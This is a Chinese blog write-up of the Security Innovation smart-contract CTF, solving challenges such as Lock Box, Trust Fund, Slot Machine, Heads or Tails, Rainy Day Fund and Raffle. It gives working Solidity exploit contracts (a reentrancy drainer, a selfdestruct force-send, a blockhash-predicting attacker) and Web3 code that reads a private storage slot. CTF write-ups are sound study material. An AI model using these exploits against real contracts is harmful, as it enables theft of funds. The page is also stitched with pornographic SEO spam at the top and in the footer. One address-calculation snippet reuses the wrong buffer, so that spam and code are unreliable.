<output id="qn6qe"></output>

    1. <output id="qn6qe"><tt id="qn6qe"></tt></output>
    2. <strike id="qn6qe"></strike>

      亚洲 日本 欧洲 欧美 视频,日韩中文字幕有码av,一本一道av中文字幕无码,国产线播放免费人成视频播放,人妻少妇偷人无码视频,日夜啪啪一区二区三区,国产尤物精品自在拍视频首页,久热这里只有精品12

      【Writeup】Security Innovation Smart Contract CTF

      賽題地址:https://blockchain-ctf.securityinnovation.com/#/dashboard

      Donation

      源碼解析
      我們只需要用外部賬戶調用 withdrawDonationsFromTheSuckersWhoFellForIt() 把錢取出來,就算是挑戰成功啦。本題難就難在怎么用外部賬戶調用合約函數。。。

      解題
      點一下 Hints 他就會提醒你用 MyCrypto 來完成這個挑戰。我用了,太香了。完美解決了用外部賬戶調用合約函數的問題。
      只需要進入界面 —> TOOLS —> Interact with Contracts —> 然后按照要求把內容填好 —> 選擇所調用的函數 —> 成功!

      Lock Box

      源碼分析

      1. now 參數在 0.7.0 以后被替換為 timestamp 它的返回值等于:https://www.unixtimestamp.com/
      2. pinprivatepin ,就是不公開的意思。
      3. 目的就是要你猜出 pin 的值。啊當然,猜是不可能猜的,這輩子也不可能猜的。

      解題

      接下來的內容,了解solidity中變量存儲位置的讀者可以“顯然”地知道 pin 值在合約中存儲的位置。不了解的讀者也不要緊,我們可以進行一步推導得出他的存儲位置。

      將合約內容反編譯:https://ethervm.io/decompile/ropsten/0xa9944deee7d75b7b945bc12b3dd19f016ce1b566

      首先找到函數 function unlock(var arg0) ,然后在函數中找到這個判斷:

      if (storage[0x01] == arg0) {
          var temp1 = address(address(this)).balance;
          var temp2 = memory[0x40:0x60];
          var temp3;
          temp3, memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
          var var0 = !temp3;
      
          if (!var0) { return; }
      
          var temp4 = returndata.length;
          memory[0x00:0x00 + temp4] = returndata[0x00:0x00 + temp4];
          revert(memory[0x00:0x00 + returndata.length]);
      }
      

      為什么是這個 if 判斷呢,因為在這個判斷里面有轉賬語句 address(msg.sender).call.gas(!temp1 * 0x08fc).value(temp1)()

      然后我們看出我們輸入的值是和 storage[0x01] 進行比較的,也就是說 pin 值就存放在 storage[0x01] 中。所以,我們可以利用 Web3.js 獲取這個位置的值。

      Web3.js 代碼:

      var Web3 = require('web3');
      // 創建web3對象
      var web3 = new Web3();
      // 連接到 ropsten 測試節點
      web3.setProvider(new Web3.providers.HttpProvider("https://ropsten.infura.io/v3/xxx"))
      web3.eth.getStorageAt("0xa9944deee7d75b7b945bc12b3dd19f016ce1b566", 1).then(console.log)
      
      // return:
      // 0x00000000000000000000000000000000000000000000000000000000000007b2
      // 轉為十進制等于1970
      

      HttpProvider 中填入你自己的 infura 鏈接即可。

      最后,我們把得到的 1970 填入到題目中,完成解題。

      Piggy Bank

      解題
      直接調用 CharliesPiggyBank 中的 collectFunds 函數進行取款就完成挑戰了。。。
      可能關鍵點就在于 CharliesPiggyBank 中的 collectFunds 少繼承了 modifier onlyOwner() ,看看是否發現了這個漏洞。。。吧?

      SI Token Sale

      源碼分析

      1. 雖然他調用了 SafeMath 模塊,但是他沒有用。誒有模塊我不用,就是玩兒。
      2. 10 szabo 的交易費用(1 ether == 10^6 szabo)
      3. 結合以上兩點,在 balances[msg.sender] += _value - feeAmount; 這里很可能會發生下溢出漏洞

      解題

      1. 往合約打 10 wei (只要小于 10 szabo 即可),使其發生下溢出,這樣我們的 balances 就會變得非常大,方便后面為所欲為。
      2. 然后調用 refundTokens(uint256 _value) 函數,_value 的值為合約余額的兩倍(這里留意一下,在題目網頁上顯示的余額有那么一丟丟不準確,建議去 etherscan 上面查一下準確的余額)
      3. 過關~

      Secure Bank

      源碼分析

      1. 三個合約,一層套一層,SimpleBank —> MembersBank —> SecureBank
      2. SimpleBank withdraw:要求取款不能超過賬戶余額
      3. MembersBank withdraw:要求取款不能超過賬戶余額,取款賬戶是 member
      4. SecureBank withdraw:要求取款不能超過賬戶余額,取款賬戶是 member,取款賬戶是自己

      解題
      我們要做的就是把創建合約的賬戶余額給取走。

      雖然 SecureBank withdraw 是繼承 MembersBank withdraw 的,但是因為的參數格式不一致(前者是uint8 _value,后者是uint256 _value),導致了 SecureBank 中會出現兩個可以調用的 withdraw 函數。(這可以從 ABI 中看出,有兩個 withdraw 函數。)

      也就是說,可以在 SecureBank 合約中,調用 MembersBank withdraw 函數進行取款。

      1. 調用 register 函數,對創建合約的賬戶地址進行注冊,使其成為 member
      2. 調用 MembersBank withdraw ,將創建合約的賬戶中的余額轉走
      3. 成功

      Lottery

      一個猜數字的游戲,涉及到了區塊號和發送者地址等

      解題

      1. blockhash 函數,很有講究,當輸入的區塊號為當前區塊號或 256 個以前的區塊號,它都返回 0。也就是說 blockhash(block.number) == 0

      2. ^ 是異或操作

      3. 也就是說,當我們要求 guess==target 的時候,只是在要求 _seed == abi.encodePacked(msg.sender)

      4. 通過下面的函數即可得到剛剛好的 _seed

        function encode(address _addr) public returns(bytes32) {
                return keccak256(abi.encodePacked(_addr));
            }
        

      Trust Fund

      看!好大個msg.sender.call.value(allowancePerYear)() !!它用 call 來轉賬!! 它用 call 來轉賬!! 重入漏洞干他!

      解題

      重入漏洞就不多解釋了,原理搜一下即可,直接上攻擊代碼:

      pragma solidity 0.4.24;
      
      contract attack{
          address public aimAddr;
          
          function reen(address _addr) public {
              aimAddr = _addr;
              _addr.call(bytes4(keccak256("withdraw()")));
          }
          
          function () public payable{
              aimAddr.call(bytes4(keccak256("withdraw()")));
          }
      }
      

      反復調用目標合約,將里面的錢全部提取出來。

      注意:gas limit 要稍微設置的大一點點,不然會調用失敗:out of gas。

      Record Label

      源碼分析

      1. 代碼很繁瑣,整體來說就是取款的時候要按百分比分一部分給 Manager 合約
      2. 調用 withdrawFundsAndPayRoyalties 函數進行取款,取款流程跟蹤函數看一下,還挺繞。。

      關鍵點:

      1. addRoyaltyReceiver 函數中沒有對添加的地址進行檢測,可以添加已有的用戶
      2. payoutRoyalties 函數中只對每一個 reciver 中的比例進行扣款,沒有檢查總的 percentRemaining

      解題

      查看 RecordLabel 合約的創建交易,它同時創建了另外兩個合約(Manager 和 Royalties)

      image

      Royalties 合約的地址我們可以查到

      image

      所以可知 Manager 合約的地址為:0xfDE1eeBF0d2AE27236bDdd802Efbcb9FE2AECE12

      Royalties:0xAea30FFF488903783d90af7C5396aCAFd9879885

      Royalties 的 ABI 如下:

      [
      	{
      		"constant": true,
      		"inputs": [],
      		"name": "amountPaid",
      		"outputs": [
      			{
      				"name": "",
      				"type": "uint256"
      			}
      		],
      		"payable": false,
      		"stateMutability": "view",
      		"type": "function"
      	},
      	{
      		"constant": false,
      		"inputs": [],
      		"name": "payoutRoyalties",
      		"outputs": [],
      		"payable": true,
      		"stateMutability": "payable",
      		"type": "function"
      	},
      	{
      		"constant": false,
      		"inputs": [
      			{
      				"name": "_receiver",
      				"type": "address"
      			},
      			{
      				"name": "_percent",
      				"type": "uint256"
      			}
      		],
      		"name": "addRoyaltyReceiver",
      		"outputs": [],
      		"payable": false,
      		"stateMutability": "nonpayable",
      		"type": "function"
      	},
      	{
      		"constant": false,
      		"inputs": [],
      		"name": "getLastPayoutAmountAndReset",
      		"outputs": [
      			{
      				"name": "",
      				"type": "uint256"
      			}
      		],
      		"payable": false,
      		"stateMutability": "nonpayable",
      		"type": "function"
      	},
      	{
      		"inputs": [
      			{
      				"name": "_manager",
      				"type": "address"
      			},
      			{
      				"name": "_artist",
      				"type": "address"
      			}
      		],
      		"payable": false,
      		"stateMutability": "nonpayable",
      		"type": "constructor"
      	},
      	{
      		"payable": true,
      		"stateMutability": "payable",
      		"type": "fallback"
      	}
      ]
      

      將 Royalties 合約中 (reciver == Manager) 的分錢比例設為 0

      image

      然后調用 withdrawFundsAndPayRoyalties 函數取走 1000000000000000000 wei (1 eth)即可

      Slot Machine

      代碼分析
      有一種轉賬方法可以在不觸發 fallback 函數的情況下完成轉賬:合約自毀。

      pragma solidity 0.4.24;
      
      contract selfdes{
          function destruct(address _aim) public{
              selfdestruct(_aim);
          }
          
          function () payable public{
              
          }
      }
      

      解題

      1. 先轉入 3.5 eth 到自毀合約中,執行自毀函數向目標合約進行轉賬(繞開了其fallback函數)。此時目標合約中的余額已經大于 5 eth,也就是滿足 address(this).balance >= winner 這一條件。
      2. 再使用自己的賬戶往目標賬戶中轉入 1 szabo ,完成攻擊。

      Heads or Tails

      代碼分析
      關鍵點就在 entropy 和 coinFlip 兩個變量上,而這兩個變量都是我們可以獲取到具體值的。根據題目 msg.sender.transfer(msg.value.mul(3).div(2)); 這行代碼,我們轉賬 20 次即可把余額取完。

      解題

      不多bibi,直接上代碼:

      pragma solidity 0.4.24;
      
      contract getHeads{
          bytes32 public entropy;
          bytes1 public coinFlip;
          bool public coinBool;
          
          function caller(address _aim) public {
              bytes32 entropy = blockhash(block.number-1);
              bytes1 coinFlip = entropy[0] & 1;
              if(coinFlip == 1){
                  coinBool = true;
              }
              else{
                  coinBool = false;
              }
              
              for(uint i = 0; i < 20; i++){
                  _aim.call.value(0.1 ether)(bytes4(keccak256("play(bool)")), coinBool);
              }
          }
          
          function getback() public{
              msg.sender.send(this.balance);
          }
          
          function () payable public{
              
          }
      }
      
      1. 首先把該合約加入到名單中。
      2. 然后在運行 caller 函數之前,往合約轉 0.1 ether ,并且 gas limit 設置得稍微大一點點即可。
      3. 完成挑戰后記得把錢取走!

      Rainy Day Fund

      源碼分析
      看到這道題的時候閃過了一下提前轉賬的想法,但是一想應該不能重置了再來這么蛇皮吧就打消了這個念頭。沒想到就是這樣做的。

      解題

      我們需要提前計算出 DebugAuthorizer 合約的地址(可以做到),然后提前轉賬 1.337 ether,當這個地址被部署上合約的時候就滿足條件 (address(this).balance == 1.337 ether) 。然后就可以調用 withdraw 函數把錢取走了。

      首先,新的外部賬戶nonce從0開始,新的合約賬戶nonce則是從1開始。

      查看合約調用鏈,我們可以得知 DebugAuthorizer 合約由 RainyDayFund 合約進行創建。而 RainyDayFund 合約則由developer = 0xeD0D5160c642492b3B482e006F67679F5b6223A2 創建。

      我們知道 developer 的地址,還需要知道它創建 RainyDayFund 合約的 nonce ,這樣才能計算出它下一次創建的合約地址。

      var util = require('ethereumjs-util');
      // 根據發送者地址和nonce求取生成的新合約的地址
      // 先RLP編碼,再Hash,截取Hash值的后20個字節
      var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
      
      for(var i = 1; i <= 10000000; i++){
      	buf = [Buffer.from(developer , "hex"), i];
      	// RainyDayFund.address == 30e93a...
      	if(util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40) == "30e93ac1d17a55571a0b38ee32de7fcce5c899a1"){
      		console.log(i);
      		break;
      	}
      }
      // result: i = 359
      

      計算得出 developer 創建 RainyDayFund 合約的 nonce = 359 ,那么我們下一次創建的時候 nonce 就等于 360。而 RainyDayFund 合約在 nonce = 1 時創建了 DebugAuthorizer 合約。

      然后就可以通過下面的代碼計算出下一次部署的 DebugAuthorizer 的地址:

      var util = require('ethereumjs-util');
      var developer = "eD0D5160c642492b3B482e006F67679F5b6223A2";
      var nonce = 360;
      
      var buf = [Buffer.from(developer, "hex"), nonce];
      var RainyDayFund = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
      
      var nonce2 = 1;
      var buf2 = [Buffer.from(RainyDayFund , "hex"), nonce2];
      var DebugAuthorizer = util.keccak256(util.rlp.encode(buf)).toString("hex").slice(-40);
      
      /*
      計算下一次重構所生成的合約地址:
      RainyDayFund:
      [eD0D5160c642492b3B482e006F67679F5b6223A2, 360] = 1aa67125c77d915e858c446510e14934bcac52a1
      DebugAuthorizer:
      [1aa67125c77d915e858c446510e14934bcac52a1, 1] = f8bc584d576f04c303d0504966c07c02a61f3529
      */
      

      然后往計算得出的 DebugAuthorizer 地址中轉入 1.337 ether ,再 (Reset challenge contract for 2.5 ETH) ,即可直接調用 withdraw 函數將錢取走!

      【吐槽:這道題真的很費幣。。做到一半幣不夠了,水龍頭也壞了,還得向大佬要了點幣才解得了。。】

      Raffle

      解題
      利用 blockhash 函數只能計算最近 256 個區塊的哈希值,超過 256 個的區塊哈希值為 0 這個特點。

      合約1:0xA6E29a673ed3CB2D196F710f843b8b07aB341B37

      負責買票,關閉抽獎

      pragma solidity ^0.4.0;
      
      contract Raffle{
          
          function buyTicket(address _aim) public{
              _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
          }
          
          function closeRaffle(address _aim) public{
              _aim.call(bytes4(keccak256("closeRaffle()")));
          }
          
          
          function withdraw() public{
              msg.sender.send(this.balance);
          }
          
          function () payable public{}
      }
      

      合約2:0xACBaD8a016C46C5A9bBA6B8665Da96e12B3F828C

      負責買票,領獎

      pragma solidity ^0.4.0;
      
      contract Raffle2{
          
          function buyTicket(address _aim) public{
              _aim.call.value(0.1 ether)(bytes4(keccak256("buyTicket()")));
          }
          
          function collectReward(address _aim) public{
              _aim.call(bytes4(keccak256("collectReward()")));
          }
          
          
          function withdraw() public{
              msg.sender.send(this.balance);
          }
          
          function () payable public{}
      }
      

      買完票以后的當前區塊數:10853164,只需要耐心等待,直到區塊數超過 10853164 + 256 ,再利用合約1關閉抽獎,最后利用合約2領獎。

      后記

      從其他博客中看到了一個關鍵點:

      觸發 fallback 函數后,若 fallback 函數中又調用了自身函數,那么此時,msg.sender 變成了自身

      posted @ 2021-08-26 15:09  ACai_sec  閱讀(418)  評論(3)    收藏  舉報
      主站蜘蛛池模板: 巨胸不知火舞露双奶头无遮挡 | 1区2区3区4区产品不卡码网站| 成人无码区在线观看| 好爽好紧好大的免费视频| 襄垣县| 蜜臀在线播放一区在线播放| 国产资源精品中文字幕| 欧美精品在线观看| 丁香五月婷激情综合第九色| 四虎成人精品在永久免费| 国产香蕉九九久久精品免费| 欧美成人精品三级网站视频| 国产精品老熟女一区二区| 亚洲有无码中文网| 国产热A欧美热A在线视频| 欧洲免费一区二区三区视频| 在线欧美精品一区二区三区| 国产精品无码一区二区牛牛| 中文字幕精品亚洲二区| 亚洲欧美日产综合在线网 | 国产蜜臀视频一区二区三区| 国产精品亚洲片夜色在线| 国产精品剧情亚洲二区| 国产成人综合网亚洲第一| 92精品国产自产在线观看481页| 久久久久久久无码高潮| 办公室强奷漂亮少妇视频| 国产精品电影久久久久电影网| 铁岭县| 午夜成年男人免费网站| 国产高清国产精品国产专区| 亚洲自偷自偷在线成人网站传媒 | 久久国产乱子伦免费精品无码| 丁香五月婷激情综合第九色 | 久久久久人妻精品一区三寸| 四虎亚洲国产成人久久精品| 一区二区三区无码免费看| 亚洲精品久久无码av片软件| 夜夜影院未满十八勿进| 白丝乳交内射一二三区| 狂野欧美性猛交免费视频|